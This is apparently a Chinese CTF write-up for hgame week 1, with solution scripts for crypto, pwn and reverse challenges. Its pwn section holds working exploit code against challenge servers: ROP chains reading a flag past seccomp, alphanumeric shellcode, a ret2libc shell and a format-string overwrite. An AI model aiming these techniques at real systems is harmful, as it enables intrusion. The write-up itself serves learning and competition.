第1周是入门题,作了3项的4+5+4道
Crypto
奇怪的图片
好像是个misc走错门了,给了一个程序和一堆图片,程序很长,但是看起来并不复杂
先用随机数生成一个图,和一个key(两个图),然后依次给这个图画上flag前i个字符,比如第1张是h,第2张是hg,依次类推.并且生成的图片名字是随机的,时间因为通过起线程运行也是一样的.
import timefrom PIL import Image, ImageDraw, ImageFont
import threading
import random
import secretsflag = "hgame{fake_flag}"def generate_random_image(width, height):image = Image.new("RGB", (width, height), "white")pixels = image.load()for x in range(width):for y in range(height):red = random.randint(0, 255)green = random.randint(0, 255)blue = random.randint(0, 255)pixels[x, y] = (red, green, blue)return imagedef draw_text(image, width, height, token):font_size = random.randint(16, 40)font = ImageFont.truetype("arial.ttf", font_size)text_color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))x = random.randint(0, width - font_size * len(token))y = random.randint(0, height - font_size)draw = ImageDraw.Draw(image)draw.text((x, y), token, font=font, fill=text_color)return imagedef xor_images(image1, image2):if image1.size != image2.size:raise ValueError("Images must have the same dimensions.")xor_image = Image.new("RGB", image1.size)pixels1 = image1.load()pixels2 = image2.load()xor_pixels = xor_image.load()for x in range(image1.size[0]):for y in range(image1.size[1]):r1, g1, b1 = pixels1[x, y]r2, g2, b2 = pixels2[x, y]xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)return xor_imagedef generate_unique_strings(n, length):unique_strings = set()while len(unique_strings) < n:random_string = secrets.token_hex(length // 2)unique_strings.add(random_string)return list(unique_strings)random_strings = generate_unique_strings(len(flag), 8) #随机字符串作为文件名current_image = generate_random_image(120, 80)
key_image = generate_random_image(120, 80)def random_time(image, name):time.sleep(random.random())image.save(".\\png_out\\{}.png".format(name))for i in range(len(flag)):current_image = draw_text(current_image, 120, 80, flag[i])threading.Thread(target=random_time, args=(xor_images(current_image, key_image), random_strings[i])).start()
处理方法就是随机用其中一张异或其它图片,假设这强图是第10张则有一半是前10个字符,一半是后边的,通过有哪个字符和没哪个字符判断出哪些图是前边的,哪些图是后边的,然后慢慢把图版重新排好顺序,然后再依次用第i张异或第i+1张,得到按顺序排的flag字符(手工排好序后其实已经得到flag)
from PIL import Image, ImageDraw, ImageFont
import sys def xor_images(image1, image2):if image1.size != image2.size:raise ValueError("Images must have the same dimensions.")xor_image = Image.new("RGB", image1.size)pixels1 = image1.load()pixels2 = image2.load()xor_pixels = xor_image.load()for x in range(image1.size[0]):for y in range(image1.size[1]):r1, g1, b1 = pixels1[x, y]r2, g2, b2 = pixels2[x, y]xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)return xor_imageflist = "0086b19e.png,07e87b7c.png,18ef202a.png,194f4604.png,1e818c03.png,37bd8563.png,4675c2b4.png,4e8a536e.png,4feb8f79.png,5c55dc77.png,64d3105a.png,6760fade.png,6f050db3.png,7fccdb2c.png,88de0f1e.png,8efe1319.png,aa10e2f3.png,c2a7209d.png,d73209f8.png,e626e3b0.png,ebeaf198.png".split(",")flist = """5c55dc77.png
7fccdb2c.png
e626e3b0.png
4675c2b4.png
ebeaf198.png
18ef202a.png
0086b19e.png
d73209f8.png
88de0f1e.png
6760fade.png
4e8a536e.png
37bd8563.png
c2a7209d.png
6f050db3.png
aa10e2f3.png
8efe1319.png
4feb8f79.png
07e87b7c.png
1e818c03.png
64d3105a.png
194f4604.png""".split()
#k = int(sys.argv[1])
#img0 = Image.open(".\\png_out\\"+flist[k])
for i in range(1,len(flist)):#if i ==k: continueimg0 = Image.open(".\\png_out\\"+flist[i-1])img1 = Image.open('.\\png_out\\'+flist[i])img2 = xor_images(img0,img1)img2.save(f".\\png2\\{i:02d}.png")#hgame{1adf_17eb_803c}
ezmath
题目给了一个佩尔方程,D是114514,将y作为key对flag进行AES加密
from Crypto.Util.number import *
from Crypto.Cipher import AES
import random,string
from secret import flag,y,x
def pad(x):return x+b'\x00'*(16-len(x)%16)
def encrypt(KEY):cipher= AES.new(KEY,AES.MODE_ECB)encrypted =cipher.encrypt(flag)return encrypted
D = 114514
assert x**2 - D * y**2 == 1
flag=pad(flag)
key=pad(long_to_bytes(y))[:16]
enc=encrypt(key)
print(f'enc={enc}')
#enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"
先通过二元方程解出其中一组解 Generic two integer variable equation solver
然后再根据这组解进行计算爆破
#https://www.alpertron.com.ar/QUAD.HTM
D = 114514
P = 3058389164815894335086675882217709431950420307140756009821362546111334285928768064662409120517323199
Q = 1034956362788553601270645417188243680210041745579380231734732416649776216992793746932860400096851381520
R = 9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680
S = 3058389164815894335086675882217709431950420307140756009821362546111334285928768064662409120517323199from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AESdef pad(x):return x+b'\x00'*(16-len(x)%16)def decrypt(KEY,enc):cipher= AES.new(KEY,AES.MODE_ECB)encrypted =cipher.decrypt(enc)return encryptedenc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"x,y = 1,0
for i in range(100):key=pad(long_to_bytes(int(y)))[:16]v = decrypt(key, enc)if b'{' in v:print(v)x,y = P*x+Q*y,R*x+S*y
ezRSA
第1道rsa的题泄露的pow(p,q,n),pow(q,p,n)其实这里就是p和q
from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getPrime(1024)
q=getPrime(1024)
n=p*q
phi=(p-1)*(q-1)
e=0x10001
c=pow(m,e,n)
leak1=pow(p,q,n)
leak2=pow(q,p,n)print(f'leak1={leak1}')
print(f'leak2={leak2}')
print(f'c={c}')"""
leak1=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
leak2=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c=10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971
"""
已知因子可以直接解
long_to_bytes(int(pow(c, inverse_mod(0x10001, leak1-1), leak1)))
ezPRNG
把flag去壳后分成4段作了prng
from Crypto.Util.number import *
import uuid
def PRNG(R,mask):nextR = (R << 1) & 0xffffffffi=(R&mask)&0xffffffffnextbit=0while i!=0:nextbit^=(i%2)i=i//2nextR^=nextbit return (nextR,nextbit)R=str(uuid.uuid4())
flag='hgame{'+R+'}'
print(flag)
R=R.replace('-','')
Rlist=[int(R[i*8:i*8+8],16) for i in range(4)]mask=0b10001001000010000100010010001001
output=[]
for i in range(4):R=Rlist[i]out=''for _ in range(1000):(R,nextbit)=PRNG(R,mask)out+=str(nextbit)output.append(out)print(f'output={output}')output=['1111110110111011110000101011010001000111111001111110100101000011110111111100010000111110110111100001001000101101011110111100010010100000011111101101110101011010111000000011110000100011101111011011000100101100110100101110001010001101101110000010001000111100101010010110110111101110011011001011111011010101011000011011000111011011111001101010111100101100110001011010010101110011101001100111000011110111000001101110000001111100000100000101111100010110111001110011010000011011110110011000001101011111111010110011010111010101001000010011110110011110110101011110111010011010010110111111010011101000110101111101111000110011111110010110000100100100101101010101110010101001101010101011110111010011101110000100101111010110101111110001111111110010000000001110011100100001011111110100111011000101001101001110010010001100011000001101000111010010000101101111101011000000101000001110001011001010010001000011000000100010010010010111010011111111011100100100100101111111001110000111110110001111001111100101001001100010', '0010000000001010111100001100011101111101111000100100111010101110010110011001011110101100011101010000001100000110000000011000000110101111111011100100110111011010000100011111000111001000101001110010110010001000110010101011110011101000011111101101011000011110001101011111000110111000011000110011100100101100111100000100100101111001011101110001011011111111011010100010111011000010010101110110100000110100000100010101000010111101001000011000000000111010010101010111101101011111011001000101000100011001100101010110110001010010001010110111011011111101011100111001101111111111010011101111010010011110011111110100110011111110110001000111100010111000101111000011011011111101110101110100111000011100001010110111100011001011010011010111000110101100110100011101101011101000111011000100110110001100110101010110010011011110000111110100111101110000100010000111100010111000010000010001111110110100001000110110100100110110010110111010011111101011110000011101010100110101011110000110101110111011010110110000010000110001', '1110110110010001011100111110111110111001111101010011001111100100001000111001101011010100010111110101110101111010111100101100010011001001011101000101011000110111000010000101001000100111010110001010000111110110111000011001100010001101000010001111111100000101111000100101000000001001001001101110000100111001110001001011010111111010111101101101001110111010111110110011001000010001010100010010110110101011100000101111100100110011110001001001111100101111001111011011010111001001111010001100110001100001100000110000011111010100101111000000101011111010000111110000101111100010000010010111010110100101010101001111100101011100011001001011000101010101001101100010110000010001110011110011100111000110101010111010011010000001100001011000011101101000000011111000101111101011110011000011011000100100110111010011001111101100101100011000101001110101111001000010110010111101110110010101101000000101001011000000001110001110000100000001001111100011010011000000011011101111101001111110001011101100000010001001010011000001', '0001101010101010100001001001100010000101010100001010001000100011101100110001001100001001110000110100010101111010110111001101011011101110000011001000100100101000011011101000111001001010011100010001010110111011100100111110111001010010111010100000100111110101110010010110100001000010010001101111001110100010001011101100111011101011101100100101011010101000101001000101110011011111110110011111111100000000011100000010011000110001000110101010001011000010101000110000101001110101010111011010010111011001010011100010101001100110000110101100010000100110101110100001101001011011110011100110011001010110100101010111110110111100000111010001111101110000000000111011011101000011001010010111001110111000100111011110100101000100011011101100011111000101110110110111111001111000000011100011000010000101001011001101110101000010101001000100110010000101001111100101000001011011010011110001101000001101111010100101001100010100000111000011110101010100011011001110001011110111010111011010101101100000110000001010010101111011']
通过矩阵解回原值
mask = '10001001000010000100010010001001'
M = matrix(GF(2), 32,32)
for i in range(31):M[i+1,i] = 1
for i in range(32):M[i,-1] = int(mask[i])V = vector(GF(2), 32)
for i in range(32):V[i] = int(output[0][i]) #第1段R = (M^32).solve_left(V)
a = ''.join([str(i) for i in R])
a = ''.join([f"{int(a[i:i+4],2):x}" for i in range(0,32,4)])
PWN
Elden Ring I
只有一个函数,只有一句话,是个溢出,但是通过seccomp限制了execve,
ssize_t vuln()
{char buf[256]; // [rsp+0h] [rbp-100h] BYREFputs("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n");return read(0, buf, 0x130uLL);
}
orw入门
from pwn import *elf = ELF('./vuln')
libc = ELF('./libc.so.6')
context(arch='amd64', log_level='debug')pop_rdi = 0x00000000004013e3 # pop rdi ; ret
bss = 0x404800
leave_ret = 0x401375#p = process('./vuln')
p = remote('47.100.137.175', 30879)p.sendafter(b"I offer you an accord.\n\n", b'\0'*0x100+flat(bss, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x40126a))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc.address + 0x0000000000142c92 # pop rdx ; ret
pop_rax = libc.address + 0x0000000000036174 # pop rax ; ret
syscall = libc.sym['getpid'] + 9#gdb.attach(p, "b*0x401290\nc")p.sendafter(b"I offer you an accord.\n\n", flat([b'./flag\0\0', pop_rdi, 0x404700, pop_rsi,0,pop_rdx,0, pop_rax,2, syscall,pop_rdi,3, pop_rsi,0x404600, pop_rdx,0x50, pop_rax,0, syscall,pop_rdi,1, pop_rax,1,syscall
]).ljust(0x100,b'\x00')+ flat(0x404700, leave_ret))p.interactive()
shellcode
限制只输入数字字母的shellcode,长度限制可以负数绕过,调用一个网上现成的可打印字符的shellcode即可.
int __cdecl main(int argc, const char **argv, const char **envp)
{signed int v4; // [rsp+Ch] [rbp-14h] BYREFvoid *v5; // [rsp+10h] [rbp-10h]unsigned __int64 v6; // [rsp+18h] [rbp-8h]v6 = __readfsqword(0x28u);init(argc, argv, envp);v5 = (void *)(int)mmap((void *)0x20240000, 0x1000uLL, 7, 33, -1, 0LL);if ( v5 == (void *)-1LL ){perror("mmap");exit(1);}printf("input the length of your shellcode:");__isoc99_scanf("%2d", &v4);if ( v4 <= 10 ){printf("input your shellcode:");myread(v5, v4); // 字符检查}else{puts("too long");}((void (*)(void))v5)();return 0;
}
unsigned __int64 __fastcall myread(void *a1, unsigned int a2)
{char v3; // [rsp+1Fh] [rbp-11h]unsigned int i; // [rsp+20h] [rbp-10h]unsigned int v5; // [rsp+24h] [rbp-Ch]unsigned __int64 v6; // [rsp+28h] [rbp-8h]v6 = __readfsqword(0x28u);v5 = read(0, a1, a2);for ( i = 0; i < v5; ++i ){v3 = *((_BYTE *)a1 + i);if ( (v3 <= 96 || v3 > 122) && (v3 <= 64 || v3 > 90) && (v3 <= 47 || v3 > 57) ){puts("Invalid character\n");exit(1);}}return v6 - __readfsqword(0x28u);
}
from pwn import *context(arch='amd64', log_level='debug')#p = process('./vuln3')
p = remote('47.100.137.175', 30739)
#gdb.attach(p, "b*0x555555555456\nc")
p.sendlineafter(b":", b'-1')
p.sendafter(b":", b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t")p.interactive()
Elden Random Challenge
拿时间作种子的随机数,通过ctype调用libc用同步的时间得到相同的随机数
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [rsp+8h] [rbp-18h] BYREFchar buf[10]; // [rsp+Eh] [rbp-12h] BYREFint v6; // [rsp+18h] [rbp-8h]unsigned int seed; // [rsp+1Ch] [rbp-4h]init();seed = time(0LL);puts("Menlina: Well tarnished, tell me thy name.");// 没有泄露,但是可以覆盖v6read(0, buf, 0x12uLL);printf("I see,%s", buf);puts("Now the golden rule asks thee to guess ninety-nine random number. Shall we get started.");srand(seed);while ( i <= 98 ){v6 = rand() % 100 + 1;v4 = 0;puts("Please guess the number:");read(0, &v4, 8uLL);if ( v6 != v4 ){puts("wrong!");exit(0);}++i;}puts("Here's a reward to thy brilliant mind.");myread();return 0;
}
from pwn import *
from ctypes import *elf = ELF('./vuln4')
libc = ELF('./libc.so.6')
clibc = cdll.LoadLibrary("./libc.so.6")context(arch='amd64', log_level='debug')pop_rdi = 0x0000000000401423 # pop rdi ; ret#p = process('./vuln4')
p = remote('47.100.137.175', 30018)seed = clibc.time(0)
print(f"{seed = :x}")
clibc.srand(seed)#gdb.attach(p,"b*0x4012e4\nc")p.sendafter(b"Menlina: Well tarnished, tell me thy name.\n", flat(elf.got['puts']))for i in range(99):v6 = clibc.rand()%100+1 p.sendafter(b"Please guess the number:\n", p32(v6))#myread()
p.sendafter(b"Here's a reward to thy brilliant mind.\n", b'\0'*0x38+flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['myread']))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")p.send(b'\0'*0x38 + flat(pop_rdi+1,pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))
p.sendline(b'cat flag')
p.interactive()
ezFMT
一个格式化字符串漏洞,但是要利用内存残留的指针,因为只能运行一次没有循环也没有栈地址.
unsigned __int64 vuln()
{__int64 buf[4]; // [rsp+0h] [rbp-80h] BYREFchar s[88]; // [rsp+20h] [rbp-60h] BYREFunsigned __int64 v3; // [rsp+78h] [rbp-8h]v3 = __readfsqword(0x28u);strcpy((char *)buf, "make strings and getshell\n");write(0, buf, 0x1BuLL);read(0, s, 0x50uLL);if ( !strchr(s, 'p') && !strchr(s, 's') )printf(s);return __readfsqword(0x28u) ^ v3;
}
内存里残留的指针,将残留指尾字节改为\x38指向ret,然后printf修改返回地址到后门
from pwn import *elf = ELF('./vuln4')
context(arch='amd64', log_level='debug')#p = process('./vuln4')
p = remote('47.100.137.175', 30198)
#gdb.attach(p, "b*0x401316\nc")v2 = 0x401245&0xffff
pay = f"%{v2}c%18$hn".ljust(0x40,'.').encode()+b'\x38' #覆盖尾字节形成指向ret的指针,1/16爆破p.send(pay)
sleep(0.2)
p.sendline(b"cat flag")
p.interactive()
Reverse
ezASM
给了汇编代码,手搓,其实就两句,一句是密文一句是xor al,0x22
section .datac db 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34flag db 33 dup(0)format db "plz input your flag: ", 0success db "Congratulations!", 0failure db "Sry, plz try again", 0section .textglobal _start_start:; Print promptmov eax, 4mov ebx, 1mov ecx, formatmov edx, 20int 0x80 // write(1,"plz input your flag: ",20); Read user inputmov eax, 3mov ebx, 0mov ecx, flagmov edx, 33int 0x80 // read(0, flag, 33); Check flagxor esi, esi
check_flag:mov al, byte [flag + esi]xor al, 0x22 // xor 0x22 cmp al, byte [c + esi]jne failure_check inc esicmp esi, 33jne check_flag; Print success messagemov eax, 4mov ebx, 1mov ecx, successmov edx, 14int 0x80; Exitmov eax, 1xor ebx, ebxint 0x80failure_check:; Print failure messagemov eax, 4mov ebx, 1mov ecx, failuremov edx, 18int 0x80; Exitmov eax, 1xor ebx, ebxint 0x80
c = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]
bytes([0x22^i for i in c])
b'hgame{ASM_Is_Imp0rt4nt_4_Rev3rs3}\x00'
ezPYC
将打包成exe的python文件解包再反编译
flag = [87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2]
c = [1,2,3,4]bytes([flag[i]^(i%4+1) for i in range(len(flag))])
b'VIDAR{Python_R3vers3_1s_1nter3st1ng!}\x00'
ezUPX
先工具UPX脱壳
enc=bytes.fromhex('647B76736049655D45136B02476D595C02456D066D5E0346465E016D02546D67626A134F32')
bytes([i^0x32 for i in enc])
#VIDAR{Wow!Y0u_kn0w_4_l1ttl3_0f_UPX!}
ezIDA
用IDA打开可以看到flag